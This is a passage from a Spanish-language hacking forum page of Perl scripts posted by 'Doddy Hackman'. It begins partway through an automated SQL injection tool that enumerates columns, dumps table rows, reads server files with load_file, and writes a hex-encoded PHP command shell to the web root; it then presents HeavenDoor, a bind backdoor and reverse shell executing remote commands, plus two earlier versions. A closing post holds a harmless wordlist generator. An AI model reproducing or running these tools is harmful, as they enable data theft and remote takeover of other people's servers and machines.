  506. print "\n";
  507. if ($_[0] =~/(.*)hackman(.*)/) {
  508. my $start = $1; my $end = $2;
  509. print "[+] Searching columns for the table $_[2]...\n\n";
  510. savefile($_[3].".txt","[Table] : $_[2]");
  511. for my $columns(@buscar1) {
  512. chomp $columns;
  513. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$columns,char(69,82,84,79,82,56,53,52))))";
  514. $code = toma($start.$concat.$end.$pass1."from".$pass1.$_[2].$pass2);
  515. if ($code =~/ERTOR854/g) {
  516. print "[Column] : $columns\n";
  517. savefile($_[3].".txt","[Column Found] : $columns");
  518. }
  519. }
  520. } else {
  521. print "\n[Example] : $0 http://127.0.0.1/tester/sql.php?id=-1+union+select+hackman,2,3 hackers\n\n"; &copyright;
  522. }
  523. }
  524.  
  525. sub load {
  526. savefile($_[2].".txt","\n");
  527. print "\n";
  528. ($pass1,$pass2) = &bypass($_[1]);
  529. if ($_[0] =~/(.*)hackman(.*)/g) {
  530. print "\n[+] Searching files with load_file...\n\n\n";
  531. my $start = $1; my $end = $2;
  532. for my $file(@files) {
  533. chomp $file;
  534. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  535. my $code = toma($start.$concat.$end.$pass2);
  536. chomp $code;
  537. if ($code=~/k0bra(.*)k0bra/s) {
  538. print "[File Found] : $file\n";
  539. print "\n[Source Start]\n\n";
  540. print $1;
  541. print "\n\n[Source End]\n\n";
  542. savefile($_[2].".txt","[File Found] : $file");
  543. savefile($_[2].".txt","\n[Source Start]\n");
  544. savefile($_[2].".txt","$1");
  545. savefile($_[2].".txt","\n[Source End]\n");
  546. }}}}
  547.  
  548. sub loadfile {
  549. savefile($_[2].".txt","\n");
  550. ($pass1,$pass2) = &bypass($_[1]);
  551. if ($_[0] =~/(.*)hackman(.*)/g) {
  552. my $start = $1; my $end = $2;
  553. print "\n\n[+] File to read : ";
  554. chomp (my $file = <stdin>);
  555. $concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".encode($file)."),char(107,48,98,114,97))))";
  556. my $code = toma($start.$concat.$end.$pass2);
  557. chomp $code;
  558. if ($code=~/k0bra(.*)k0bra/s) {
  559. print "[File Found] : $file\n";
  560. print "\n[Source Start]\n\n";
  561. print $1;
  562. print "\n\n[Source End]\n\n";
  563. savefile($_[2].".txt","[File Found] : $file");
  564. savefile($_[2].".txt","\n[Source Start]\n");
  565. savefile($_[2].".txt","$1");
  566. savefile($_[2].".txt","\n[Source End]\n");
  567. }}}
  568.  
  569. sub dump {
  570. savefile($_[5].".txt","\n");
  571. print "\n";
  572. my $page = $_[0];
  573. ($pass1,$pass2) = &bypass($_[4]);
  574. if ($page=~/(.*)hackman(.*)/){
  575. my $start = $1;
  576. my $end = $2;
  577. print "[+] Extracting values...\n\n";
  578. $concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($_[1]),char(69,82,84,79,82,56,53,52))))";
  579. $val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$_[3].$pass2);
  580. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$_[1],char(69,82,84,79,82,56,53,52),$_[2],char(69,82,84,79,82,56,53,52))))";
  581. if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
  582. $tota = $1;
  583. print "[+] Table : $_[3]\n";
  584. print "[+] Length of the rows : $tota\n\n";
  585. print "[$_[1]] [$_[2]]\n\n";
  586. savefile($_[5].".txt","[Table] : $_[3]");
  587. savefile($_[5].".txt","[+] Length of the rows: $tota\n");
  588. savefile($_[5].".txt","[$_[1]] [$_[2]]\n");
  589. for my $limit(0..$tota) {
  590. chomp $limit;
  591. $injection = toma($start.$concat.$end.$pass1."from".$pass1.$_[3].$pass1."limit".$pass1.$limit.",1".$pass2);
  592. if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
  593. savefile($_[5].".txt","[$_[1]] : $1   [$_[2]] : $2");
  594. print "[$_[1]] : $1   [$_[2]] : $2\n";
  595. } else {
  596. print "\n\n[+] Extracting Finish\n";
  597. &reload;
  598. }
  599. }
  600. } else {
  601. print "[-] Not Found any DATA\n\n";
  602. }}}
  603.  
  604.  
  605. sub into {
  606. print "\n\n[Status] : Injecting a SQLI for create a shell\n\n";
  607. my ($page,$bypass,$dir,$save) = @_;
  608. savefile($save.".txt","\n");
  609. print "\n";
  610. ($pass1,$pass2) = &bypass($bypass);
  611. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  612. if ($path=~/\/(.*)$/) {
  613. my $path1 = $1;
  614. my $path2 = $path1;
  615. $path2 =~s/$1//;
  616. $dir =~s/$path1//ig;
  617. $shell = $dir."/"."shell.php";
  618. if ($page =~/(.*)hackman(.*)/ig) {
  619. my  ($start,$end) = ($1,$2);
  620. $code = toma($start."0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e".$end.$pass1."into".$pass1."outfile".$pass1."'".$shell."'".$pass2);
  621. $code1 = toma("http://".$auth."/".$path2."/"."shell.php");
  622. if ($code1=~/Mini Shell By Doddy/ig) {
  623. print "[shell up] : http://".$auth."/".$path2."/"."shell.php"."\a\a";
  624. savefile($save.".txt","[shell up] : http://".$auth."/".$path2."/"."shell.php");
  625. } else {
  626. print "[shell] : Not Found\n";
  627. }
  628. }
  629. }
  630. }
  631.  
  632. sub encode {
  633. my $string = $_[0];
  634. $hex = '0x';
  635. for (split //,$string) {
  636. $hex .= sprintf "%x", ord;
  637. }
  638. return $hex;
  639. }
  640.  
  641. sub decode {
  642. $_[0] =~ s/^0x//;
  643. $encode = join q[], map { chr hex } $_[0] =~ /../g;
  644. return $encode;
  645. }
  646.  
  647. sub bypass {
  648. if ($_[0] eq "/*") { return ("/**/","/**/"); }
  649. elsif ($_[0] eq "%20") { return ("%20","%00"); }
  650. else {return ("+","--");}}
  651.  
  652. sub ascii {
  653. return join ',',unpack "U*",$_[0];
  654. }
  655.  
  656. sub ascii_de {
  657. $_[0] = join q[], map { chr } split q[,],$_[0];
  658. return $_[0];
  659. }
  660.  
  661.  
  662. sub finish {
  663. &copyright;
  664. <STDIN>;
  665. exit(1);
  666. }
  667.  
  668. sub installer {
  669. unless (-d "/logs/webs") {
  670. mkdir("logs/",777);
  671. mkdir("logs/webs/",777);
  672. }
  673. }
  674.  
  675. sub copyright {
  676. print "\n\n\n\n(C) Doddy Hackman 2010\n\n";
  677. }
  678.  
  679. sub toma {
  680. return $nave->get($_[0])->content;
  681. }
  682.  
  683. sub savefile {
  684. open (SAVE,">>logs/webs/".$_[0]);
  685. print SAVE $_[1]."\n";
  686. close SAVE;
  687. }
  688.  
  689. sub finish {
  690. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  691. <STDIN>;
  692. exit(1);
  693. }
  694.  
  695.  
  696. # The End ?
  697.  
439  Programación / Scripting / [Perl] HeavenDoor 0.5 en: 1 Diciembre 2011, 22:13 pm
La nueva version de este backdoor que hice hace tiempo

Código
  1. #!usr/bin/perl
  2. #HeavenDoor 0.5
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6. use Cwd;
  7.  
  8. if ($ARGV[0] eq "-reverse") {
  9. if ($ARGV[1] =~/(.*):(.*)/) {
  10. my $ip = $1;
  11. my $port = $2;
  12. conectar($ip,$port);
  13. tipo();
  14. }
  15. }
  16. elsif ($ARGV[0] eq "-backdoor") {
  17. listar($ARGV[1]);
  18. } else {
  19. print "\n[+] Examples : $0 -backdoor 666 / -reverse localhost:666\n";
  20. }
  21.  
  22. sub listar {
  23. $backdoor = IO::Socket::INET->new(
  24. Proto     => 'tcp',
  25. LocalPort => $_[0],
  26. Listen    => SOMAXC,
  27. Reuse     => 1);
  28.  
  29. print "[*] Heaven_Door Online\n[*] Port : $_[0]\n[*] PID : ".$$."\n\n";
  30.  
  31. while ($jesus = $backdoor->accept()) {
  32. $jesus->autoflush(1);
  33. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  34. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  35. &extras;
  36. $dir = getcwd();
  37. print $jesus $dir.">>";
  38. while (<$jesus>) {
  39. my $yeah = qx($_);
  40. print $jesus "\n\n".$yeah."\n\n";
  41. print $jesus $dir.">>";
  42. }
  43. }
  44.  
  45. sub extras {
  46.  
  47. if ($^O =~//ig) {
  48. use Win32;
  49. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  50. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  51. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  52. } else {
  53. $s =  qx("uname -a");
  54. print $jesus "--==System Info==--\n\n".$s;
  55. }
  56. }
  57. }
  58.  
  59. sub conectar {
  60. print "[+] Listening\n";
  61. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  62. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  63. open (STDIN,">&REVERSE");
  64. open (STDOUT,">&REVERSE");
  65. open (STDERR,">&REVERSE");
  66. }
  67.  
  68. sub tipo {
  69. print "\n[*] Reverse Shell Starting...\n\n";
  70. if ($^O =~/Win32/ig) {
  71. infowin();
  72. system("cmd.exe");
  73. } else {
  74. infolinux();
  75. system("export TERM=xterm;exec sh -i");
  76. }
  77. }
  78.  
  79. sub infowin {
  80. use Win32;
  81. print "[+] Domain Name : ".Win32::DomainName()."\n";
  82. print "[+] OS Version : ".Win32::GetOSName()."\n";
  83. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  84. }
  85.  
  86. sub infolinux {
  87. print "[+] System information\n\n";
  88. system("uname -a");
  89. print "\n\n";
  90. }
  91.  
  92. #The End ?
  93.  

Esta nueva version surgio de la mezcla de estos dos codigos que habia hecho

heaven_door.pl

Código
  1. #!usr/bin/perl
  2. #Heaven_Door is a backdoor in Perl
  3. #Coded By Doddy Hackman
  4.  
  5. use IO::Socket::INET;
  6. use Net::hostent;
  7. use Cwd;
  8. use Win32;
  9.  
  10. $backdoor = IO::Socket::INET->new(
  11. Proto     => 'tcp',
  12. LocalPort => '25256',
  13. Listen    => SOMAXC,
  14. Reuse     => 1);
  15.  
  16.  
  17.  
  18. print "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  19.  
  20.  
  21. while ($jesus = $backdoor->accept()) {
  22. $jesus->autoflush(1);
  23. print $jesus "[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : ".$$."\n\n";
  24. print $jesus "Welcome  ".$jesus->peerhost."\n\n";
  25. &extras;
  26. $dir = getcwd();
  27. print $jesus $dir.">>";
  28. while (<$jesus>) {
  29. my $yeah = qx($_);
  30. print $jesus "\n\n".$yeah."\n\n";
  31. print $jesus $dir.">>";
  32. }
  33. }
  34.  
  35. sub extras {
  36.  
  37. if ($^O =~//ig) {
  38. print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
  39. print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
  40. print $jesus "[+] Username : ".Win32::LoginName()."\n\n\n";
  41. } else {
  42. $s =  qx("uname -a");
  43. print $jesus "--==System Info==--\n\n".$s;
  44. }
  45. }
  46.  
  47.  

reverse_shell.pl

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("export TERM=xterm;exec sh -i");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. print "\n\n";
  50. }
  51.  
  52. #The End
  53.  
440  Programación / Scripting / [Perl] GenWordlist 0.2 en: 1 Diciembre 2011, 22:12 pm
Simple programa en perl para generar diccionarios

Código
  1. #!usr/bin/perl
  2. #Gen Wordlist 0.2
  3. #By Doddy H
  4. #ppm install http://www.bribes.org/perl/ppm/HTML-Strip.ppd
  5.  
  6. use LWP::UserAgent;
  7. use HTML::Strip;
  8.  
  9. my $nave = LWP::UserAgent->new();
  10. $nave->timeout(5);
  11. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  12.  
  13. head();
  14. unless($ARGV[0]) {
  15. sintax();
  16. } else {
  17. start($ARGV[0]);
  18. }
  19. copyright();
  20.  
  21. sub start {
  22.  
  23. print "\n[+] Getting source code of the page\n";
  24.  
  25. my @contenido = toma($_[0]);
  26. my $uno = HTML::Strip->new(emit_spaces => 1);
  27. for my $tengo(@contenido) {
  28. my @parteuno = $uno->parse($tengo);
  29. push(@palabras,@parteuno);
  30. }
  31.  
  32. for(@palabras) {
  33. push @palabrasx, split q[ ];
  34. }
  35.  
  36. my @final = repes(@palabrasx);
  37.  
  38. print "\n[+] Words Found : ".int(@final)."\n\n";
  39.  
  40. for my $aca(@final) {
  41. print "[+] Word : $aca\n";
  42. }
  43.  
  44. }
  45.  
  46. sub sintax {
  47. print "\n[+] sintax : $0 <web>\n";
  48. }
  49.  
  50. sub head {
  51. print "\n\n-- == Gen Wordlist == --\n\n";
  52. }
  53.  
  54. sub copyright {
  55. print "\n\n(C) Doddy Hackman 2011\n\n";
  56. }
  57.  
  58. sub repes {
  59. foreach $test(@_) {
  60. push @limpio,$test unless $repe{$test}++;
  61. }
  62. return @limpio;
  63. }
  64.  
  65. sub toma {
  66. return $nave->get( $_[0] )->content;
  67. }
  68.  
  69. # The End ?
  70.  
Páginas: 1 ... 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 [44] 45 46 47 48 49 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines